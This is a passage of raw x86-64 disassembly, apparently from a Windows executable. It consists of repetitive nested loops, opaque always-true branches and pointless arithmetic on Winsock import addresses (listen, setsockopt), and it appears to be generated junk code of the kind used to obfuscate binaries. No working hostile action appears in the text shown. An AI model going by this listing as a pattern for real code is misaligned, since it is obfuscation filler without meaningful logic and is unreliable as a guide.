jle 0x1400fb487
mov eax, dword [rsp + 0xa0]
sub eax, 5
mov dword [rsp + 0xa0], eax
cmp dword [rsp + 0xa0], 0xa
jne 0x1400fb485
mov eax, dword [rsp + 0xa0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xa0], eax
jmp 0x1400fb44d
mov eax, dword [rsp + 0xf5c]
sub eax, 2
mov dword [rsp + 0xf5c], eax
cmp dword [rsp + 0xf5c], 0
jg 0x1400fb442
jmp 0x1400fb32c
mov eax, dword [rsp + 0xf60]
dec eax
mov dword [rsp + 0xf60], eax
cmp dword [rsp + 0xf60], 0
jg 0x1400fb31f
mov dword [rsp + 0xf64], 0
jmp 0x1400fb4e2
mov eax, dword [rsp + 0xf64]
inc eax
mov dword [rsp + 0xf64], eax
cmp dword [rsp + 0xf64], 5
jge 0x1400fb64d
mov dword [rsp + 0xf68], 0x2a
mov dword [rsp + 0xa20], 0
jmp 0x1400fb518
mov eax, dword [rsp + 0xa20]
inc eax
mov dword [rsp + 0xa20], eax
cmp dword [rsp + 0xa20], 4
jge 0x1400fb5c7
mov eax, dword [rsp + 0xa20]
add eax, 2
mov dword [rsp + 0x290], eax
mov eax, dword [rsp + 0x290]
inc eax
mov dword [rsp + 0x290], eax
cmp dword [rsp + 0x290], 7
jne 0x1400fb5b4
mov dword [rsp + 0xa4], Ordinal_79
cmp dword [rsp + 0xa4], 0
jle 0x1400fb596
mov eax, dword [rsp + 0xa4]
sub eax, 5
mov dword [rsp + 0xa4], eax
cmp dword [rsp + 0xa4], 0xa
jne 0x1400fb594
mov eax, dword [rsp + 0xa4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xa4], eax
jmp 0x1400fb55c
mov eax, dword [rsp + 0x290]
imul eax, dword [rsp + 0xf68]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x19a8], eax
cmp dword [rsp + 0x290], 0xb
jl 0x1400fb537
jmp 0x1400fb508
cmp dword [rsp + 0xf68], 0x14
jle 0x1400fb648
mov eax, dword [rsp + 0xf68]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xf6c], eax
mov dword [rsp + 0xa8], Ordinal_79
cmp dword [rsp + 0xa8], 0
jle 0x1400fb62d
mov eax, dword [rsp + 0xa8]
sub eax, 5
mov dword [rsp + 0xa8], eax
cmp dword [rsp + 0xa8], 0xa
jne 0x1400fb62b
mov eax, dword [rsp + 0xa8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xa8], eax
jmp 0x1400fb5f3
mov eax, dword [rsp + 0xf6c]
sub eax, 2
mov dword [rsp + 0xf6c], eax
cmp dword [rsp + 0xf6c], 0
jg 0x1400fb5e8
jmp 0x1400fb4d2
jmp 0x1400faf36
xor eax, eax
test eax, eax
je 0x1400fc7ae
xor eax, eax
test eax, eax
je 0x1400fbf0a
mov dword [rsp + 0xf70], 0
jmp 0x1400fb683
mov eax, dword [rsp + 0xf70]
inc eax
mov dword [rsp + 0xf70], eax
cmp dword [rsp + 0xf70], 5
jge 0x1400fbf05
mov dword [rsp + 0xf8c], 0x3f
mov dword [rsp + 0xa24], 0
jmp 0x1400fb6b9
mov eax, dword [rsp + 0xa24]
inc eax
mov dword [rsp + 0xa24], eax
cmp dword [rsp + 0xa24], 9
jge 0x1400fbaf1
mov eax, dword [rsp + 0xa24]
add eax, 7
mov dword [rsp + 0x2ac], eax
mov eax, dword [rsp + 0x2ac]
add eax, 4
mov dword [rsp + 0x2ac], eax
cmp dword [rsp + 0x2ac], 0x15
jne 0x1400fbade
mov dword [rsp + 0xf74], 0
jmp 0x1400fb714
mov eax, dword [rsp + 0xf74]
inc eax
mov dword [rsp + 0xf74], eax
cmp dword [rsp + 0xf74], 5
jge 0x1400fb8dd
mov dword [rsp + 0xf78], 0x11
mov dword [rsp + 0xa28], 0
jmp 0x1400fb74a
mov eax, dword [rsp + 0xa28]
inc eax
mov dword [rsp + 0xa28], eax
cmp dword [rsp + 0xa28], 3
jge 0x1400fb825
mov eax, dword [rsp + 0xa28]
inc eax
mov dword [rsp + 0x298], eax
mov eax, dword [rsp + 0x298]
inc eax
mov dword [rsp + 0x298], eax
cmp dword [rsp + 0x298], 4
jne 0x1400fb812
mov dword [rsp + 0x294], reloc.WS2_32.dll_listen
mov dword [rsp + 0xa2c], 0
jmp 0x1400fb7ae
mov eax, dword [rsp + 0xa2c]
inc eax
mov dword [rsp + 0xa2c], eax
cmp dword [rsp + 0xa2c], 4
jge 0x1400fb7f7
mov eax, dword [rsp + 0xa2c]
mov ecx, dword [rsp + 0x294]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x294], eax
mov eax, dword [rsp + 0x294]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400fb7f5
imul eax, dword [rsp + 0x294], 3
mov dword [rsp + 0x294], eax
jmp 0x1400fb79e
mov eax, dword [rsp + 0x298]
imul eax, dword [rsp + 0xf78]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x19ac], eax
cmp dword [rsp + 0x298], 6
jl 0x1400fb768
jmp 0x1400fb73a
cmp dword [rsp + 0xf78], 0xa
jle 0x1400fb8d8
mov eax, dword [rsp + 0xf78]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xf7c], eax
mov dword [rsp + 0x29c], reloc.WS2_32.dll_listen
mov dword [rsp + 0xa30], 0
jmp 0x1400fb871
mov eax, dword [rsp + 0xa30]
inc eax
mov dword [rsp + 0xa30], eax
cmp dword [rsp + 0xa30], 4
jge 0x1400fb8ba
mov eax, dword [rsp + 0xa30]
mov ecx, dword [rsp + 0x29c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x29c], eax
mov eax, dword [rsp + 0x29c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400fb8b8
imul eax, dword [rsp + 0x29c], 3
mov dword [rsp + 0x29c], eax
jmp 0x1400fb861
mov eax, dword [rsp + 0xf7c]
dec eax
mov dword [rsp + 0xf7c], eax
cmp dword [rsp + 0xf7c], 0
jg 0x1400fb849
jmp 0x1400fb704
mov eax, dword [rsp + 0x2ac]
imul eax, dword [rsp + 0xf8c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x19b0], eax
mov dword [rsp + 0xf80], 0
jmp 0x1400fb915
mov eax, dword [rsp + 0xf80]
inc eax
mov dword [rsp + 0xf80], eax
cmp dword [rsp + 0xf80], 5
jge 0x1400fbade
mov dword [rsp + 0xf84], 0x11
mov dword [rsp + 0xa34], 0
jmp 0x1400fb94b
mov eax, dword [rsp + 0xa34]
inc eax
mov dword [rsp + 0xa34], eax
cmp dword [rsp + 0xa34], 3
jge 0x1400fba26
mov eax, dword [rsp + 0xa34]
inc eax
mov dword [rsp + 0x2a4], eax
mov eax, dword [rsp + 0x2a4]
inc eax
mov dword [rsp + 0x2a4], eax
cmp dword [rsp + 0x2a4], 4
jne 0x1400fba13
mov dword [rsp + 0x2a0], reloc.WS2_32.dll_listen
mov dword [rsp + 0xa38], 0
jmp 0x1400fb9af
mov eax, dword [rsp + 0xa38]
inc eax
mov dword [rsp + 0xa38], eax
cmp dword [rsp + 0xa38], 4
jge 0x1400fb9f8
mov eax, dword [rsp + 0xa38]
mov ecx, dword [rsp + 0x2a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a0], eax
mov eax, dword [rsp + 0x2a0]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400fb9f6
imul eax, dword [rsp + 0x2a0], 3
mov dword [rsp + 0x2a0], eax
jmp 0x1400fb99f
mov eax, dword [rsp + 0x2a4]
imul eax, dword [rsp + 0xf84]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x19b4], eax
cmp dword [rsp + 0x2a4], 6
jl 0x1400fb969
jmp 0x1400fb93b
cmp dword [rsp + 0xf84], 0xa
jle 0x1400fbad9
mov eax, dword [rsp + 0xf84]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xf88], eax
mov dword [rsp + 0x2a8], reloc.WS2_32.dll_listen
mov dword [rsp + 0xa3c], 0
jmp 0x1400fba72
mov eax, dword [rsp + 0xa3c]
inc eax
mov dword [rsp + 0xa3c], eax
cmp dword [rsp + 0xa3c], 4
jge 0x1400fbabb
mov eax, dword [rsp + 0xa3c]
mov ecx, dword [rsp + 0x2a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a8], eax
mov eax, dword [rsp + 0x2a8]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400fbab9
imul eax, dword [rsp + 0x2a8], 3
mov dword [rsp + 0x2a8], eax
jmp 0x1400fba62
mov eax, dword [rsp + 0xf88]
dec eax
mov dword [rsp + 0xf88], eax
cmp dword [rsp + 0xf88], 0
jg 0x1400fba4a
jmp 0x1400fb905
cmp dword [rsp + 0x2ac], 0x23
jl 0x1400fb6d8
jmp 0x1400fb6a9
cmp dword [rsp + 0xf8c], 0x28
jle 0x1400fbd1a
mov eax, dword [rsp + 0xf8c]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xf9c], eax
mov dword [rsp + 0xf90], 0
jmp 0x1400fbb32
mov eax, dword [rsp + 0xf90]
inc eax
mov dword [rsp + 0xf90], eax
cmp dword [rsp + 0xf90], 5
jge 0x1400fbcfb
mov dword [rsp + 0xf94], 0x11
mov dword [rsp + 0xa40], 0
jmp 0x1400fbb68
mov eax, dword [rsp + 0xa40]
inc eax
mov dword [rsp + 0xa40], eax
cmp dword [rsp + 0xa40], 3
jge 0x1400fbc43
mov eax, dword [rsp + 0xa40]
inc eax
mov dword [rsp + 0x2b4], eax
mov eax, dword [rsp + 0x2b4]
inc eax
mov dword [rsp + 0x2b4], eax
cmp dword [rsp + 0x2b4], 4
jne 0x1400fbc30
mov dword [rsp + 0x2b0], reloc.WS2_32.dll_listen
mov dword [rsp + 0xa44], 0
jmp 0x1400fbbcc
mov eax, dword [rsp + 0xa44]
inc eax
mov dword [rsp + 0xa44], eax
cmp dword [rsp + 0xa44], 4
jge 0x1400fbc15
mov eax, dword [rsp + 0xa44]
mov ecx, dword [rsp + 0x2b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b0], eax
mov eax, dword [rsp + 0x2b0]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400fbc13
imul eax, dword [rsp + 0x2b0], 3
mov dword [rsp + 0x2b0], eax
jmp 0x1400fbbbc
mov eax, dword [rsp + 0x2b4]
imul eax, dword [rsp + 0xf94]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x19b8], eax
cmp dword [rsp + 0x2b4], 6
jl 0x1400fbb86
jmp 0x1400fbb58
cmp dword [rsp + 0xf94], 0xa
jle 0x1400fbcf6
mov eax, dword [rsp + 0xf94]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xf98], eax
mov dword [rsp + 0x2b8], reloc.WS2_32.dll_listen
mov dword [rsp + 0xa48], 0
jmp 0x1400fbc8f
mov eax, dword [rsp + 0xa48]
inc eax
mov dword [rsp + 0xa48], eax
cmp dword [rsp + 0xa48], 4
jge 0x1400fbcd8
mov eax, dword [rsp + 0xa48]
mov ecx, dword [rsp + 0x2b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b8], eax
mov eax, dword [rsp + 0x2b8]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400fbcd6
imul eax, dword [rsp + 0x2b8], 3
mov dword [rsp + 0x2b8], eax
jmp 0x1400fbc7f
mov eax, dword [rsp + 0xf98]
dec eax
mov dword [rsp + 0xf98], eax
cmp dword [rsp + 0xf98], 0
jg 0x1400fbc67
jmp 0x1400fbb22
mov eax, dword [rsp + 0xf9c]
sub eax, 2
mov dword [rsp + 0xf9c], eax
cmp dword [rsp + 0xf9c], 0
jg 0x1400fbb15
mov dword [rsp + 0xfa0], 0
jmp 0x1400fbd37
mov eax, dword [rsp + 0xfa0]
inc eax
mov dword [rsp + 0xfa0], eax
cmp dword [rsp + 0xfa0], 5
jge 0x1400fbf00
mov dword [rsp + 0xfa4], 0x11
mov dword [rsp + 0xa4c], 0
jmp 0x1400fbd6d
mov eax, dword [rsp + 0xa4c]
inc eax
mov dword [rsp + 0xa4c], eax
cmp dword [rsp + 0xa4c], 3
jge 0x1400fbe48
mov eax, dword [rsp + 0xa4c]
inc eax
mov dword [rsp + 0x2c0], eax
mov eax, dword [rsp + 0x2c0]
inc eax
mov dword [rsp + 0x2c0], eax
cmp dword [rsp + 0x2c0], 4
jne 0x1400fbe35
mov dword [rsp + 0x2bc], reloc.WS2_32.dll_listen
mov dword [rsp + 0xa50], 0
jmp 0x1400fbdd1
mov eax, dword [rsp + 0xa50]
inc eax
mov dword [rsp + 0xa50], eax
cmp dword [rsp + 0xa50], 4
jge 0x1400fbe1a
mov eax, dword [rsp + 0xa50]
mov ecx, dword [rsp + 0x2bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2bc], eax
mov eax, dword [rsp + 0x2bc]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400fbe18
imul eax, dword [rsp + 0x2bc], 3
mov dword [rsp + 0x2bc], eax
jmp 0x1400fbdc1
mov eax, dword [rsp + 0x2c0]
imul eax, dword [rsp + 0xfa4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x19bc], eax
cmp dword [rsp + 0x2c0], 6
jl 0x1400fbd8b
jmp 0x1400fbd5d
cmp dword [rsp + 0xfa4], 0xa
jle 0x1400fbefb
mov eax, dword [rsp + 0xfa4]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xfa8], eax
mov dword [rsp + 0x2c4], reloc.WS2_32.dll_listen
mov dword [rsp + 0xa54], 0
jmp 0x1400fbe94
mov eax, dword [rsp + 0xa54]
inc eax
mov dword [rsp + 0xa54], eax
cmp dword [rsp + 0xa54], 4
jge 0x1400fbedd
mov eax, dword [rsp + 0xa54]
mov ecx, dword [rsp + 0x2c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c4], eax
mov eax, dword [rsp + 0x2c4]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400fbedb
imul eax, dword [rsp + 0x2c4], 3
mov dword [rsp + 0x2c4], eax
jmp 0x1400fbe84
mov eax, dword [rsp + 0xfa8]
dec eax
mov dword [rsp + 0xfa8], eax
cmp dword [rsp + 0xfa8], 0
jg 0x1400fbe6c
jmp 0x1400fbd27
jmp 0x1400fb673
jmp 0x1400fc7ae
mov dword [rsp + 0xfac], 0
jmp 0x1400fbf27
mov eax, dword [rsp + 0xfac]
inc eax
mov dword [rsp + 0xfac], eax
cmp dword [rsp + 0xfac], 5
jge 0x1400fc7ae
mov dword [rsp + 0xfc8], 0x5c
mov dword [rsp + 0xa58], 0
jmp 0x1400fbf5d
mov eax, dword [rsp + 0xa58]
inc eax
mov dword [rsp + 0xa58], eax
cmp dword [rsp + 0xa58], 6
jge 0x1400fc399
mov eax, dword [rsp + 0xa58]
add eax, 9
mov dword [rsp + 0x2e0], eax
mov eax, dword [rsp + 0x2e0]
add eax, 3
mov dword [rsp + 0x2e0], eax
cmp dword [rsp + 0x2e0], 0x18
jne 0x1400fc386
mov dword [rsp + 0xfb0], 0
jmp 0x1400fbfb8
mov eax, dword [rsp + 0xfb0]
inc eax
mov dword [rsp + 0xfb0], eax
cmp dword [rsp + 0xfb0], 5
jge 0x1400fc181
mov dword [rsp + 0xfb4], 0x11
mov dword [rsp + 0xa5c], 0
jmp 0x1400fbfee
mov eax, dword [rsp + 0xa5c]
inc eax
mov dword [rsp + 0xa5c], eax
cmp dword [rsp + 0xa5c], 3
jge 0x1400fc0c9
mov eax, dword [rsp + 0xa5c]
inc eax
mov dword [rsp + 0x2cc], eax
mov eax, dword [rsp + 0x2cc]
inc eax
mov dword [rsp + 0x2cc], eax
cmp dword [rsp + 0x2cc], 4
jne 0x1400fc0b6
mov dword [rsp + 0x2c8], reloc.WS2_32.dll_listen
mov dword [rsp + 0xa60], 0
jmp 0x1400fc052
mov eax, dword [rsp + 0xa60]
inc eax
mov dword [rsp + 0xa60], eax
cmp dword [rsp + 0xa60], 4
jge 0x1400fc09b
mov eax, dword [rsp + 0xa60]
mov ecx, dword [rsp + 0x2c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c8], eax
mov eax, dword [rsp + 0x2c8]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400fc099
imul eax, dword [rsp + 0x2c8], 3
mov dword [rsp + 0x2c8], eax
jmp 0x1400fc042
mov eax, dword [rsp + 0x2cc]
imul eax, dword [rsp + 0xfb4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x19c0], eax
cmp dword [rsp + 0x2cc], 6
jl 0x1400fc00c
jmp 0x1400fbfde
cmp dword [rsp + 0xfb4], 0xa
jle 0x1400fc17c
mov eax, dword [rsp + 0xfb4]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xfb8], eax
mov dword [rsp + 0x2d0], reloc.WS2_32.dll_listen
mov dword [rsp + 0xa64], 0
jmp 0x1400fc115
mov eax, dword [rsp + 0xa64]
inc eax
mov dword [rsp + 0xa64], eax
cmp dword [rsp + 0xa64], 4
jge 0x1400fc15e
mov eax, dword [rsp + 0xa64]
mov ecx, dword [rsp + 0x2d0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d0], eax
mov eax, dword [rsp + 0x2d0]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400fc15c
imul eax, dword [rsp + 0x2d0], 3
mov dword [rsp + 0x2d0], eax
jmp 0x1400fc105
mov eax, dword [rsp + 0xfb8]
dec eax
mov dword [rsp + 0xfb8], eax
cmp dword [rsp + 0xfb8], 0
jg 0x1400fc0ed
jmp 0x1400fbfa8
mov eax, dword [rsp + 0x2e0]
imul eax, dword [rsp + 0xfc8]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x19c4], eax
mov dword [rsp + 0xfbc], 0
jmp 0x1400fc1bd
mov eax, dword [rsp + 0xfbc]
inc eax
mov dword [rsp + 0xfbc], eax
cmp dword [rsp + 0xfbc], 5
jge 0x1400fc386
mov dword [rsp + 0xfc0], 0x11
mov dword [rsp + 0xa68], 0
jmp 0x1400fc1f3
mov eax, dword [rsp + 0xa68]
inc eax
mov dword [rsp + 0xa68], eax
cmp dword [rsp + 0xa68], 3
jge 0x1400fc2ce
mov eax, dword [rsp + 0xa68]
inc eax
mov dword [rsp + 0x2d8], eax
mov eax, dword [rsp + 0x2d8]
inc eax
mov dword [rsp + 0x2d8], eax
cmp dword [rsp + 0x2d8], 4
jne 0x1400fc2bb
mov dword [rsp + 0x2d4], reloc.WS2_32.dll_listen
mov dword [rsp + 0xa6c], 0
jmp 0x1400fc257
mov eax, dword [rsp + 0xa6c]
inc eax
mov dword [rsp + 0xa6c], eax
cmp dword [rsp + 0xa6c], 4
jge 0x1400fc2a0
mov eax, dword [rsp + 0xa6c]
mov ecx, dword [rsp + 0x2d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d4], eax
mov eax, dword [rsp + 0x2d4]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400fc29e
imul eax, dword [rsp + 0x2d4], 3
mov dword [rsp + 0x2d4], eax
jmp 0x1400fc247
mov eax, dword [rsp + 0x2d8]
imul eax, dword [rsp + 0xfc0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x19c8], eax
cmp dword [rsp + 0x2d8], 6
jl 0x1400fc211
jmp 0x1400fc1e3
cmp dword [rsp + 0xfc0], 0xa
jle 0x1400fc381
mov eax, dword [rsp + 0xfc0]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xfc4], eax
mov dword [rsp + 0x2dc], reloc.WS2_32.dll_listen
mov dword [rsp + 0xa70], 0
jmp 0x1400fc31a
mov eax, dword [rsp + 0xa70]
inc eax
mov dword [rsp + 0xa70], eax
cmp dword [rsp + 0xa70], 4
jge 0x1400fc363
mov eax, dword [rsp + 0xa70]
mov ecx, dword [rsp + 0x2dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2dc], eax
mov eax, dword [rsp + 0x2dc]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400fc361
imul eax, dword [rsp + 0x2dc], 3
mov dword [rsp + 0x2dc], eax
jmp 0x1400fc30a
mov eax, dword [rsp + 0xfc4]
dec eax
mov dword [rsp + 0xfc4], eax
cmp dword [rsp + 0xfc4], 0
jg 0x1400fc2f2
jmp 0x1400fc1ad
cmp dword [rsp + 0x2e0], 0x21
jl 0x1400fbf7c
jmp 0x1400fbf4d
cmp dword [rsp + 0xfc8], 0x32
jle 0x1400fc5c3
mov eax, dword [rsp + 0xfc8]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xfd8], eax
mov dword [rsp + 0xfcc], 0
jmp 0x1400fc3db
mov eax, dword [rsp + 0xfcc]
inc eax
mov dword [rsp + 0xfcc], eax
cmp dword [rsp + 0xfcc], 5
jge 0x1400fc5a4
mov dword [rsp + 0xfd0], 0x11
mov dword [rsp + 0xa74], 0
jmp 0x1400fc411
mov eax, dword [rsp + 0xa74]
inc eax
mov dword [rsp + 0xa74], eax
cmp dword [rsp + 0xa74], 3
jge 0x1400fc4ec
mov eax, dword [rsp + 0xa74]
inc eax
mov dword [rsp + 0x2e8], eax
mov eax, dword [rsp + 0x2e8]
inc eax
mov dword [rsp + 0x2e8], eax
cmp dword [rsp + 0x2e8], 4
jne 0x1400fc4d9
mov dword [rsp + 0x2e4], reloc.WS2_32.dll_listen
mov dword [rsp + 0xa78], 0
jmp 0x1400fc475
mov eax, dword [rsp + 0xa78]
inc eax
mov dword [rsp + 0xa78], eax
cmp dword [rsp + 0xa78], 4
jge 0x1400fc4be
mov eax, dword [rsp + 0xa78]
mov ecx, dword [rsp + 0x2e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e4], eax
mov eax, dword [rsp + 0x2e4]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400fc4bc
imul eax, dword [rsp + 0x2e4], 3
mov dword [rsp + 0x2e4], eax
jmp 0x1400fc465
mov eax, dword [rsp + 0x2e8]
imul eax, dword [rsp + 0xfd0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x19cc], eax
cmp dword [rsp + 0x2e8], 6
jl 0x1400fc42f
jmp 0x1400fc401
cmp dword [rsp + 0xfd0], 0xa
jle 0x1400fc59f
mov eax, dword [rsp + 0xfd0]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xfd4], eax
mov dword [rsp + 0x2ec], reloc.WS2_32.dll_listen
mov dword [rsp + 0xa7c], 0
jmp 0x1400fc538
mov eax, dword [rsp + 0xa7c]
inc eax
mov dword [rsp + 0xa7c], eax
cmp dword [rsp + 0xa7c], 4
jge 0x1400fc581
mov eax, dword [rsp + 0xa7c]
mov ecx, dword [rsp + 0x2ec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ec], eax
mov eax, dword [rsp + 0x2ec]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400fc57f
imul eax, dword [rsp + 0x2ec], 3
mov dword [rsp + 0x2ec], eax
jmp 0x1400fc528
mov eax, dword [rsp + 0xfd4]
dec eax
mov dword [rsp + 0xfd4], eax
cmp dword [rsp + 0xfd4], 0
jg 0x1400fc510
jmp 0x1400fc3cb
mov eax, dword [rsp + 0xfd8]
sub eax, 5
mov dword [rsp + 0xfd8], eax
cmp dword [rsp + 0xfd8], 0
jg 0x1400fc3be
mov dword [rsp + 0xfdc], 0
jmp 0x1400fc5e0
mov eax, dword [rsp + 0xfdc]
inc eax
mov dword [rsp + 0xfdc], eax
cmp dword [rsp + 0xfdc], 5
jge 0x1400fc7a9
mov dword [rsp + 0xfe0], 0x11
mov dword [rsp + 0xa80], 0
jmp 0x1400fc616
mov eax, dword [rsp + 0xa80]
inc eax
mov dword [rsp + 0xa80], eax
cmp dword [rsp + 0xa80], 3
jge 0x1400fc6f1
mov eax, dword [rsp + 0xa80]
inc eax
mov dword [rsp + 0x2f4], eax
mov eax, dword [rsp + 0x2f4]
inc eax
mov dword [rsp + 0x2f4], eax
cmp dword [rsp + 0x2f4], 4
jne 0x1400fc6de
mov dword [rsp + 0x2f0], reloc.WS2_32.dll_listen
mov dword [rsp + 0xa84], 0
jmp 0x1400fc67a
mov eax, dword [rsp + 0xa84]
inc eax
mov dword [rsp + 0xa84], eax
cmp dword [rsp + 0xa84], 4
jge 0x1400fc6c3
mov eax, dword [rsp + 0xa84]
mov ecx, dword [rsp + 0x2f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f0], eax
mov eax, dword [rsp + 0x2f0]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400fc6c1
imul eax, dword [rsp + 0x2f0], 3
mov dword [rsp + 0x2f0], eax
jmp 0x1400fc66a
mov eax, dword [rsp + 0x2f4]
imul eax, dword [rsp + 0xfe0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x19d0], eax
cmp dword [rsp + 0x2f4], 6
jl 0x1400fc634
jmp 0x1400fc606
cmp dword [rsp + 0xfe0], 0xa
jle 0x1400fc7a4
mov eax, dword [rsp + 0xfe0]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xfe4], eax
mov dword [rsp + 0x2f8], reloc.WS2_32.dll_listen
mov dword [rsp + 0xa88], 0
jmp 0x1400fc73d
mov eax, dword [rsp + 0xa88]
inc eax
mov dword [rsp + 0xa88], eax
cmp dword [rsp + 0xa88], 4
jge 0x1400fc786
mov eax, dword [rsp + 0xa88]
mov ecx, dword [rsp + 0x2f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f8], eax
mov eax, dword [rsp + 0x2f8]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400fc784
imul eax, dword [rsp + 0x2f8], 3
mov dword [rsp + 0x2f8], eax
jmp 0x1400fc72d
mov eax, dword [rsp + 0xfe4]
dec eax
mov dword [rsp + 0xfe4], eax
cmp dword [rsp + 0xfe4], 0
jg 0x1400fc715
jmp 0x1400fc5d0
jmp 0x1400fbf17
xor eax, eax
cmp eax, 1
je 0x1400fd572
xor eax, eax
test eax, eax
je 0x1400fce9c
mov dword [rsp + 0xfe8], 0
jmp 0x1400fc7e0
mov eax, dword [rsp + 0xfe8]
inc eax
mov dword [rsp + 0xfe8], eax
cmp dword [rsp + 0xfe8], 5
jge 0x1400fce97
mov dword [rsp + 0x1004], 0x33
mov dword [rsp + 0xa8c], 0
jmp 0x1400fc816
mov eax, dword [rsp + 0xa8c]
inc eax
mov dword [rsp + 0xa8c], eax
cmp dword [rsp + 0xa8c], 6
jge 0x1400fcb68
mov eax, dword [rsp + 0xa8c]
add eax, 2
mov dword [rsp + 0x314], eax
mov eax, dword [rsp + 0x314]
add eax, 3
mov dword [rsp + 0x314], eax
cmp dword [rsp + 0x314], 0xb
jne 0x1400fcb55
mov dword [rsp + 0xfec], 0
jmp 0x1400fc871
mov eax, dword [rsp + 0xfec]
inc eax
mov dword [rsp + 0xfec], eax
cmp dword [rsp + 0xfec], 5
jge 0x1400fc9c7
mov dword [rsp + 0xff0], 7
mov dword [rsp + 0xa90], 0
jmp 0x1400fc8a7
mov eax, dword [rsp + 0xa90]
inc eax
mov dword [rsp + 0xa90], eax
cmp dword [rsp + 0xa90], 2
jge 0x1400fc94a
mov eax, dword [rsp + 0xa90]
inc eax
mov dword [rsp + 0x300], eax
mov eax, dword [rsp + 0x300]
inc eax
mov dword [rsp + 0x300], eax
cmp dword [rsp + 0x300], 2
jne 0x1400fc93b
mov dword [rsp + 0x2fc], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x2fc]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fc90f
mov eax, dword [rsp + 0x2fc]
shl eax, 1
mov dword [rsp + 0x2fc], eax
jmp 0x1400fc920
mov eax, dword [rsp + 0x2fc]
add eax, 3
mov dword [rsp + 0x2fc], eax
mov eax, dword [rsp + 0x300]
imul eax, dword [rsp + 0xff0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x19d4], eax
cmp dword [rsp + 0x300], 3
jl 0x1400fc8c5
jmp 0x1400fc897
cmp dword [rsp + 0xff0], 5
jle 0x1400fc9c2
mov eax, dword [rsp + 0xff0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xff4], eax
mov dword [rsp + 0x304], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x304]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400fc997
mov eax, dword [rsp + 0x304]
shl eax, 1
mov dword [rsp + 0x304], eax
jmp 0x1400fc9a8
mov eax, dword [rsp + 0x304]
add eax, 3
mov dword [rsp + 0x304], eax
mov eax, dword [rsp + 0xff4]
dec eax
mov dword [rsp + 0xff4], eax
cmp dword [rsp + 0xff4], 0
jg 0x1400fc967
jmp 0x1400fc861
mov eax, dword [rsp + 0x314]
imul eax, dword [rsp + 0x1004]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x19d8], eax
mov dword [rsp + 0xff8], 0
jmp 0x1400fc9ff
mov eax, dword [rsp + 0xff8]
inc eax
mov dword [rsp + 0xff8], eax
cmp dword [rsp + 0xff8], 5
jge 0x1400fcb55
